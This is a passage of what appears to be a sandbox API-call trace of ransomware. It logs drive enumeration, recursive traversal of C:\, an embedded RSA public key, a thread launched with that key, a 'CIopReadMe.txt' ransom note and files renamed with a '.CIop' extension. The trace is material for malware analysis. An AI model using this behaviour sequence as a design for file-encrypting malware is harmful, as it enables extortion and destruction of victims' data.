[0148.803] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Videos" | out: lpString1="C:\\Users\\Public\\Videos") returned="C:\\Users\\Public\\Videos" [0148.803] lstrcatW (in: lpString1="C:\\Users\\Public\\Videos", lpString2="\\*.*" | out: lpString1="C:\\Users\\Public\\Videos\\*.*") returned="C:\\Users\\Public\\Videos\\*.*" [0148.803] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Videos\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0148.803] PathFindFileNameW (pszPath="C:\\Users\\Public\\Videos") returned="Videos" [0148.803] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Videos" | out: lpString1="Videos") returned="Videos" [0148.804] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0 [0148.804] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0148.804] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0148.804] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0 [0148.804] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 1 [0148.804] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 0 [0148.804] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0148.804] lstrcmpW (lpString1="Windows", lpString2="..") returned 1 [0148.804] lstrcmpW (lpString1="Windows", lpString2=".") returned 1 [0148.804] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0148.804] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0148.804] lstrcatW (in: lpString1="C:\\", lpString2="Windows" | out: lpString1="C:\\Windows") returned="C:\\Windows" [0148.804] SetErrorMode (uMode=0x1) returned 0x1 [0148.804] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Windows" | out: lpString1="C:\\Windows") returned="C:\\Windows" [0148.804] lstrcatW (in: lpString1="C:\\Windows", lpString2="\\" | out: lpString1="C:\\Windows\\") returned="C:\\Windows\\" [0148.804] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\Windows\\" | out: lpString1="C:\\Windows\\") returned="C:\\Windows\\" [0148.804] lstrcatW (in: lpString1="C:\\Windows\\", lpString2="*.*" | out: lpString1="C:\\Windows\\*.*") returned="C:\\Windows\\*.*" [0148.804] FindFirstFileW (in: lpFileName="C:\\Windows\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e478 [0148.804] PathFindFileNameW (pszPath="C:\\Windows") returned="Windows" [0148.804] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Windows" | out: lpString1="Windows") returned="Windows" [0148.804] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Windows" | out: lpString1="C:\\Windows") returned="C:\\Windows" [0148.804] lstrcatW (in: lpString1="C:\\Windows", lpString2="\\*.*" | out: lpString1="C:\\Windows\\*.*") returned="C:\\Windows\\*.*" [0148.804] FindFirstFileW (in: lpFileName="C:\\Windows\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e478 [0148.804] PathFindFileNameW (pszPath="C:\\Windows") returned="Windows" [0148.805] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Windows" | out: lpString1="Windows") returned="Windows" [0148.805] Sleep (dwMilliseconds=0x493e0) [0158.816] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="A:") returned 2 [0158.817] GetDriveTypeW (lpRootPathName="A:") returned 0x1 [0158.817] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="B:") returned 2 [0158.817] GetDriveTypeW (lpRootPathName="B:") returned 0x1 [0158.817] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="C:") returned 2 [0158.818] GetDriveTypeW (lpRootPathName="C:") returned 0x3 [0158.818] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="D:") returned 2 [0158.818] GetDriveTypeW (lpRootPathName="D:") returned 0x1 [0158.818] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="E:") returned 2 [0158.818] GetDriveTypeW (lpRootPathName="E:") returned 0x1 [0158.819] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="F:") returned 2 [0158.819] GetDriveTypeW (lpRootPathName="F:") returned 0x1 [0158.819] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="G:") returned 2 [0158.819] GetDriveTypeW (lpRootPathName="G:") returned 0x1 [0158.820] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="H:") returned 2 [0158.820] GetDriveTypeW (lpRootPathName="H:") returned 0x1 [0158.820] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="I:") returned 2 [0158.820] GetDriveTypeW (lpRootPathName="I:") returned 0x1 [0158.820] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="J:") returned 2 [0158.821] GetDriveTypeW (lpRootPathName="J:") returned 0x1 [0158.821] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="K:") returned 2 [0158.821] GetDriveTypeW (lpRootPathName="K:") returned 0x1 [0158.821] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="L:") returned 2 [0158.821] GetDriveTypeW (lpRootPathName="L:") returned 0x1 [0158.822] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="M:") returned 2 [0158.822] GetDriveTypeW (lpRootPathName="M:") returned 0x1 [0158.822] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="N:") returned 2 [0158.822] GetDriveTypeW (lpRootPathName="N:") returned 0x1 [0158.823] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="O:") returned 2 [0158.823] GetDriveTypeW (lpRootPathName="O:") returned 0x1 [0158.823] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="P:") returned 2 [0158.823] GetDriveTypeW (lpRootPathName="P:") returned 0x1 [0158.823] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="Q:") returned 2 [0158.824] GetDriveTypeW (lpRootPathName="Q:") returned 0x1 [0158.824] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="R:") returned 2 [0158.824] GetDriveTypeW (lpRootPathName="R:") returned 0x1 [0158.824] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="S:") returned 2 [0158.824] GetDriveTypeW (lpRootPathName="S:") returned 0x1 [0158.825] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="T:") returned 2 [0158.825] GetDriveTypeW (lpRootPathName="T:") returned 0x1 [0158.825] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="U:") returned 2 [0158.825] GetDriveTypeW (lpRootPathName="U:") returned 0x1 [0158.826] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="V:") returned 2 [0158.826] GetDriveTypeW (lpRootPathName="V:") returned 0x1 [0158.826] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="W:") returned 2 [0158.826] GetDriveTypeW (lpRootPathName="W:") returned 0x1 [0158.826] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="X:") returned 2 [0158.826] GetDriveTypeW (lpRootPathName="X:") returned 0x1 [0158.827] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="Y:") returned 2 [0158.827] GetDriveTypeW (lpRootPathName="Y:") returned 0x1 [0158.827] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="Z:") returned 2 [0158.827] GetDriveTypeW (lpRootPathName="Z:") returned 0x1 [0158.828] GetSystemInfo (in: lpSystemInfo=0x2dcff04 | out: lpSystemInfo=0x2dcff04*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0158.828] SetErrorMode (uMode=0x1) returned 0x1 [0158.828] lstrcpyW (in: lpString1=0x2dcfb10, lpString2="C:" | out: lpString1="C:") returned="C:" [0158.828] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0158.828] lstrcpyW (in: lpString1=0x2dcf700, lpString2="C:\\" | out: lpString1="C:\\") returned="C:\\" [0158.828] lstrcatW (in: lpString1="C:\\", lpString2="*.*" | out: lpString1="C:\\*.*") returned="C:\\*.*" [0158.828] FindFirstFileW (in: lpFileName="C:\\*.*", lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 0x67e6b8 [0158.829] PathFindFileNameW (pszPath="C:") returned="C:" [0158.829] lstrcpyW (in: lpString1=0x2dce0f4, lpString2="C:" | out: lpString1="C:") returned="C:" [0158.829] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0158.829] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0158.829] lstrcmpW (lpString1="bootmgr", lpString2="..") returned 1 [0158.829] lstrcmpW (lpString1="bootmgr", lpString2=".") returned 1 [0158.829] wsprintfW (in: param_1=0x2dceee0, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\") returned 7 [0158.829] Sleep (dwMilliseconds=0xd) [0158.847] lstrcpyA (in: lpString1=0x2dce328, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0158.847] lstrcpyW (in: lpString1=0x2dce886, lpString2="bootmgr" | out: lpString1="bootmgr") returned="bootmgr" [0158.847] lstrcpyW (in: lpString1=0x2dce486, lpString2="\\\\?\\C:\\" | out: lpString1="\\\\?\\C:\\") returned="\\\\?\\C:\\" [0158.847] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dce328, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x670 [0158.848] SetErrorMode (uMode=0x1) returned 0x1 [0158.848] wsprintfW (in: param_1=0x2dcdeec, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\CIopReadMe.txt") returned 17 [0158.848] CreateFileW (lpFileName="C:\\CIopReadMe.txt" (normalized: "c:\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x660 [0158.849] CloseHandle (hObject=0x660) returned 1 [0158.849] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0158.849] lstrcmpW (lpString1="BOOTNXT.CIop", lpString2="..") returned 1 [0158.849] lstrcmpW (lpString1="BOOTNXT.CIop", lpString2=".") returned 1 [0158.850] lstrlenW (lpString=".CIop") returned 5 [0158.850] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0158.850] lstrcmpW (lpString1="BOOTSECT.BAK", lpString2="..") returned 1 [0158.850] lstrcmpW (lpString1="BOOTSECT.BAK", lpString2=".") returned 1 [0158.850] lstrlenW (lpString="bootsect.bak") returned 12 [0158.850] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0158.850] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0158.850] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0158.850] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0158.850] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0158.850] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0158.850] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0158.850] lstrcmpW (lpString1="hiberfil.sys", lpString2="..") returned 1 [0158.850] lstrcmpW (lpString1="hiberfil.sys", lpString2=".") returned 1 [0158.851] lstrlenW (lpString=".sys") returned 4 [0158.851] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0158.851] lstrcmpW (lpString1="pagefile.sys", lpString2="..") returned 1 [0158.851] lstrcmpW (lpString1="pagefile.sys", lpString2=".") returned 1 [0158.851] lstrlenW (lpString=".sys") returned 4 [0158.851] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0158.851] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0158.851] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0158.851] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0158.851] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0158.851] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0158.851] lstrcmpW (lpString1="swapfile.sys", lpString2="..") returned 1 [0158.851] lstrcmpW (lpString1="swapfile.sys", lpString2=".") returned 1 [0158.852] lstrlenW (lpString=".sys") returned 4 [0158.852] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0158.852] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0158.852] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0158.852] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 0 [0158.852] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0158.852] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0158.853] lstrcpyW (in: lpString1=0x2dcfb10, lpString2="C:" | out: lpString1="C:") returned="C:" [0158.853] lstrcatW (in: lpString1="C:", lpString2="\\*.*" | out: lpString1="C:\\*.*") returned="C:\\*.*" [0158.853] FindFirstFileW (in: lpFileName="C:\\*.*", lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 0x67e9f8 [0158.853] PathFindFileNameW (pszPath="C:") returned="C:" [0158.853] lstrcpyW (in: lpString1=0x2dce0f4, lpString2="C:" | out: lpString1="C:") returned="C:" [0158.853] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0158.854] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0158.854] lstrcatW (in: lpString1="C:\\", lpString2="$Recycle.Bin" | out: lpString1="C:\\$Recycle.Bin") returned="C:\\$Recycle.Bin" [0158.854] SetErrorMode (uMode=0x1) returned 0x1 [0158.854] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\$Recycle.Bin" | out: lpString1="C:\\$Recycle.Bin") returned="C:\\$Recycle.Bin" [0158.854] lstrcatW (in: lpString1="C:\\$Recycle.Bin", lpString2="\\" | out: lpString1="C:\\$Recycle.Bin\\") returned="C:\\$Recycle.Bin\\" [0158.854] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\$Recycle.Bin\\" | out: lpString1="C:\\$Recycle.Bin\\") returned="C:\\$Recycle.Bin\\" [0158.854] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\", lpString2="*.*" | out: lpString1="C:\\$Recycle.Bin\\*.*") returned="C:\\$Recycle.Bin\\*.*" [0158.854] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e838 [0158.855] PathFindFileNameW (pszPath="C:\\$Recycle.Bin") returned="$Recycle.Bin" [0158.855] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="$Recycle.Bin" | out: lpString1="$Recycle.Bin") returned="$Recycle.Bin" [0158.855] FindClose (in: hFindFile=0x67e838 | out: hFindFile=0x67e838) returned 1 [0158.855] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\$Recycle.Bin" | out: lpString1="C:\\$Recycle.Bin") returned="C:\\$Recycle.Bin" [0158.855] lstrcatW (in: lpString1="C:\\$Recycle.Bin", lpString2="\\*.*" | out: lpString1="C:\\$Recycle.Bin\\*.*") returned="C:\\$Recycle.Bin\\*.*" [0158.855] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e6b8 [0158.855] PathFindFileNameW (pszPath="C:\\$Recycle.Bin") returned="$Recycle.Bin" [0158.856] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="$Recycle.Bin" | out: lpString1="$Recycle.Bin") returned="$Recycle.Bin" [0158.856] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0158.856] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0158.856] lstrcmpW (lpString1="Boot", lpString2="..") returned 1 [0158.856] lstrcmpW (lpString1="Boot", lpString2=".") returned 1 [0158.856] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0158.856] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0158.856] lstrcatW (in: lpString1="C:\\", lpString2="Boot" | out: lpString1="C:\\Boot") returned="C:\\Boot" [0158.857] SetErrorMode (uMode=0x1) returned 0x1 [0158.857] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Boot" | out: lpString1="C:\\Boot") returned="C:\\Boot" [0158.857] lstrcatW (in: lpString1="C:\\Boot", lpString2="\\" | out: lpString1="C:\\Boot\\") returned="C:\\Boot\\" [0158.857] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\Boot\\" | out: lpString1="C:\\Boot\\") returned="C:\\Boot\\" [0158.857] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="*.*" | out: lpString1="C:\\Boot\\*.*") returned="C:\\Boot\\*.*" [0158.857] FindFirstFileW (in: lpFileName="C:\\Boot\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e6b8 [0158.857] PathFindFileNameW (pszPath="C:\\Boot") returned="Boot" [0158.857] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Boot" | out: lpString1="Boot") returned="Boot" [0158.858] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0158.858] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Boot" | out: lpString1="C:\\Boot") returned="C:\\Boot" [0158.858] lstrcatW (in: lpString1="C:\\Boot", lpString2="\\*.*" | out: lpString1="C:\\Boot\\*.*") returned="C:\\Boot\\*.*" [0158.858] FindFirstFileW (in: lpFileName="C:\\Boot\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e3f8 [0158.858] PathFindFileNameW (pszPath="C:\\Boot") returned="Boot" [0158.858] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Boot" | out: lpString1="Boot") returned="Boot" [0158.858] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0158.859] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0158.859] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0158.859] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0158.859] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0158.859] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0158.859] lstrcmpW (lpString1="Config.Msi", lpString2="..") returned 1 [0158.859] lstrcmpW (lpString1="Config.Msi", lpString2=".") returned 1 [0158.859] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0158.859] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0158.859] lstrcatW (in: lpString1="C:\\", lpString2="Config.Msi" | out: lpString1="C:\\Config.Msi") returned="C:\\Config.Msi" [0158.859] SetErrorMode (uMode=0x1) returned 0x1 [0158.860] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Config.Msi" | out: lpString1="C:\\Config.Msi") returned="C:\\Config.Msi" [0158.860] lstrcatW (in: lpString1="C:\\Config.Msi", lpString2="\\" | out: lpString1="C:\\Config.Msi\\") returned="C:\\Config.Msi\\" [0158.860] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\Config.Msi\\" | out: lpString1="C:\\Config.Msi\\") returned="C:\\Config.Msi\\" [0158.860] lstrcatW (in: lpString1="C:\\Config.Msi\\", lpString2="*.*" | out: lpString1="C:\\Config.Msi\\*.*") returned="C:\\Config.Msi\\*.*" [0158.860] FindFirstFileW (in: lpFileName="C:\\Config.Msi\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e3f8 [0158.860] PathFindFileNameW (pszPath="C:\\Config.Msi") returned="Config.Msi" [0158.860] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Config.Msi" | out: lpString1="Config.Msi") returned="Config.Msi" [0158.860] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0158.861] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0 [0158.861] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0158.861] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 0 [0158.861] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Config.Msi" | out: lpString1="C:\\Config.Msi") returned="C:\\Config.Msi" [0158.862] lstrcatW (in: lpString1="C:\\Config.Msi", lpString2="\\*.*" | out: lpString1="C:\\Config.Msi\\*.*") returned="C:\\Config.Msi\\*.*" [0158.862] FindFirstFileW (in: lpFileName="C:\\Config.Msi\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e838 [0158.862] PathFindFileNameW (pszPath="C:\\Config.Msi") returned="Config.Msi" [0158.863] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Config.Msi" | out: lpString1="Config.Msi") returned="Config.Msi" [0158.863] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0158.863] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0158.863] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0 [0158.863] FindClose (in: hFindFile=0x67e838 | out: hFindFile=0x67e838) returned 1 [0158.863] FindClose (in: hFindFile=0x67e838 | out: hFindFile=0x67e838) returned 0 [0158.864] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0158.864] lstrcmpW (lpString1="Documents and Settings", lpString2="..") returned 1 [0158.864] lstrcmpW (lpString1="Documents and Settings", lpString2=".") returned 1 [0158.864] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0158.864] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0158.864] lstrcatW (in: lpString1="C:\\", lpString2="Documents and Settings" | out: lpString1="C:\\Documents and Settings") returned="C:\\Documents and Settings" [0158.864] SetErrorMode (uMode=0x1) returned 0x1 [0158.865] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Documents and Settings" | out: lpString1="C:\\Documents and Settings") returned="C:\\Documents and Settings" [0158.865] lstrcatW (in: lpString1="C:\\Documents and Settings", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\") returned="C:\\Documents and Settings\\" [0158.865] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\Documents and Settings\\" | out: lpString1="C:\\Documents and Settings\\") returned="C:\\Documents and Settings\\" [0158.865] lstrcatW (in: lpString1="C:\\Documents and Settings\\", lpString2="*.*" | out: lpString1="C:\\Documents and Settings\\*.*") returned="C:\\Documents and Settings\\*.*" [0158.865] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0xffffffff [0158.865] PathFindFileNameW (pszPath="C:\\Documents and Settings") returned="Documents and Settings" [0158.865] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Documents and Settings" | out: lpString1="Documents and Settings") returned="Documents and Settings" [0158.865] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0 [0158.866] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0158.866] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0158.866] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Documents and Settings" | out: lpString1="C:\\Documents and Settings") returned="C:\\Documents and Settings" [0158.866] lstrcatW (in: lpString1="C:\\Documents and Settings", lpString2="\\*.*" | out: lpString1="C:\\Documents and Settings\\*.*") returned="C:\\Documents and Settings\\*.*" [0158.866] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0xffffffff [0158.866] PathFindFileNameW (pszPath="C:\\Documents and Settings") returned="Documents and Settings" [0158.866] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Documents and Settings" | out: lpString1="Documents and Settings") returned="Documents and Settings" [0158.866] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0 [0158.866] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0158.866] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0158.867] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0158.867] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0158.867] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0158.867] lstrcmpW (lpString1="PerfLogs", lpString2="..") returned 1 [0158.867] lstrcmpW (lpString1="PerfLogs", lpString2=".") returned 1 [0158.867] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0158.867] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") 